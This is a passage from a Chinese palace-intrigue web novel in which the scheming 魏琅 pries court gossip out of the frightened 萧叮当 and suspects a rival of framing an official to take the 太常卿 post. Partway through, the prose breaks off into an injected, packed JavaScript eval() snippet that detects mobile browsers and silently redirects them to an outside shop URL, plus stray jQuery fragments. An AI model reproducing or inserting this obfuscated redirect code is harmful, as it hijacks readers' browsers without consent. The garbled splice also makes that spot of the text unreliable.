魏琅连唬带诈,用一顿饭的功夫把老实孩子萧叮当榨了个干一干二净,轻轻松松地从这软柿子嘴里榨出了天禄阁同僚态度诡异之所在。
“崔兄息怒,实在是家家有本难念的经,我们家也有我们家的难言苦衷……”
几句话的功夫,魏琅已经在萧叮当嘴里从“崔郎中”变为了更加亲昵的“崔兄”。
软柿子萧叮当拉着魏琅的手,直哭得梨花带雨,伤心欲绝:“崔兄您是不怕,可是我们家怕呀,现在阖宫上下谁能不知道,崔兄年轻貌美、独得陛下恩宠,与温宸君争锋亦不落下风,还反叫温宸君被陛下斥责……”
“陛下连宿清凉殿三夜,阖宫上下都知道风向变了,温宸君失宠了……可是崔兄您自是不怕温宸君,我们家却实在是怕啊。”
“本来嘛,我叔叔和堂兄们都在长乐宫里过得便是如履薄冰、甚是艰难,外头人看着我们兰陵萧氏好像很得意的样子,可左卫将军平日里根本就不爱多搭理我们家……”
“镇国长公主殿下膝下也自有更年长些的琅琊公主,平阳公主今年才三岁啊,三岁!那么小小地一团,又早产体弱,翻来覆去地病,鸿之堂兄日日夜夜地守着,短短三年,人像是都快要老了三十岁不止,怕都要怕死了……”
“我们家害怕啊,我们家实在是既不敢得罪崔兄、也不敢得罪温宸君,更不敢有分毫的忤逆之心,去触怒陛下啊!”
萧叮当越说越伤心,这么大个人了,竟然当真“伤心”得不顾体面到哇哇大哭起来,边哭边道:“崔兄啊崔兄,弟弟自认往常在阁里待您也没有不尊敬的地方吧,时时事事有东西都先想着崔兄您,待您再没有什么不妥当的了,崔兄您就高抬贵手,放过小弟吧!”
“呜呜呜,崔兄你们神仙打架,各显神通,就不要折腾小弟们这些世俗凡人了……”
魏琅不由怀疑眼前这人已经是在故意地装疯卖傻了。
只是魏琅也忍不住静心反思了一下,她脑子里并没有女帝来清凉殿留宿过的记忆……若是萧叮当所言不虚,那就只能是在魏琅脑子发热、神志不清醒的时候了。
魏琅脸上的表情不知不觉地冷了下来,一时只觉得索然无味,竟没有了再继续逗弄软柿子的兴致。
“温持平被陛下罚了什么?”魏琅面无表情地问。
——这也是当下魏琅为数不多还有兴趣问上一问的了。
萧叮当借哭装疯完一场,抬头觑了觑对面人的脸色,见魏琅神色冰冷,当即心头一颤,不敢再哭,只结结巴巴、老老实实地回道:“下,下官不知,只是昨日听太常寺的刘姊姊说,已经快一旬没有见过温宸君了……”
“大家没人敢说,但私下里都在猜,是不是被陛下责令闭门思过了……”
真正被罚“闭门思过”、但现在已经出来活蹦乱跳的魏琅闻言,沉默了许久许久。
魏琅也是在这时候,在萧叮当这句无心之言的提醒下,才突然意识到,自己之前险些犯下了一个多大的错漏。
“温持平现在已经位居太常寺少卿之位,”魏琅缓缓地陈述道,“陶婴被下诏狱后,就是他在主持太常寺的一应事务……我猜的应该没错吧?”
萧叮当的脸色微微一变,眼神隐隐有些恐惧地瞪着对面的魏琅,像是唯恐他下一句会说出何等的石破天惊之言来。
而魏琅也果然不让他失望地说出来了。
——“如果陶婴贪墨军需被坐实,身死被诛,”魏琅缓缓地总结道,“那么最有资格接替陶婴九卿之首、太常卿之位的,恐怕就非温持平莫属了吧?”
魏琅想:我好蠢啊,我真是太蠢了,我之前竟然能没有想到这一点上……当然,这也不全怪我,八年前我离开长安的时候温持平那个老贼可还老老实实地呆在鸿胪寺,谁又会闲着没事一直关注这老畜生的升迁贬谪呢?
魏琅又不是多待见这老不死的。
太常卿,掌礼制、祭祀、宗庙、陵寝……以及各项礼乐典仪规范的制定。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628175|204610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
陶婴就是在太常卿的位子上,仗着自己元从功臣加宗亲长辈的双重身份,屡屡假借祭祀之名暗戳戳地鼓吹什么“顺应天时、调和阴阳”……而今终于成功地把自己吹到了诏狱里。
魏琅当下其实也并不清楚陶婴贪墨军需案的内情究竟为何。
——说来惭愧,魏琅当日虽然点头应下了与谢蕴之的交易,但自己心里其实打的是个空手套白狼的“好主意”,只想着去如何最大限度地利用谢蕴之的河西势力、与“陈留王遗孤”崔佑安的名头了……但对真正答应谢蕴之要做的事情,兴致寥寥,甚至都没有另外安排人手去多方查证核实过。
陶婴究竟贪了没贪、到底是不是被冤枉的、究竟该不该死……这些问题,魏琅之前竟然全部都从没有一一好生思量过。
——像是在潜意识里,就一心想要逃开长安城里这些纠缠不清的人与事。
魏琅只很混不咎地告诉自己:管他呢,谁的舅舅谁去管,反正这又不是我舅舅。
更何况,要是女帝真叫他三更死、他难道还敢死五更吗?……自己尽人事、听天命,想来谢大都督也明白有些事终究人力无可挽回的道理,替她跑这一趟就是了,谁还真豁出命去在意姓陶那个老头死不死啊?
乃至于此时此刻,魏琅也只能凭着个人立场与一腔情绪胡乱猜测道:“原来如此,贪墨军需案竟然是温持平故意设局,他陷害陶婴,所图谋的正是为了自己能够正大光明地掺和祭祀与礼法修订,以图觑机拱卫三皇子上位……”
萧叮当面色大变,惊恐地扑了上去,一把捂住魏琅的嘴,颤声道:“崔兄,你疯了!这宫里处处隔墙有耳,没凭没据的事情,你怎么敢这么直接说出口的……”
魏琅缓缓地眨了眨眼睫,却是从萧叮当的惊惧骇然中品味出了一点点微妙的其他味道。
“你可别告诉我,”魏琅配合地压低了嗓音,幽幽道,“这样‘没凭没据’的话,你们家里却是从来都没有人想过的啊?”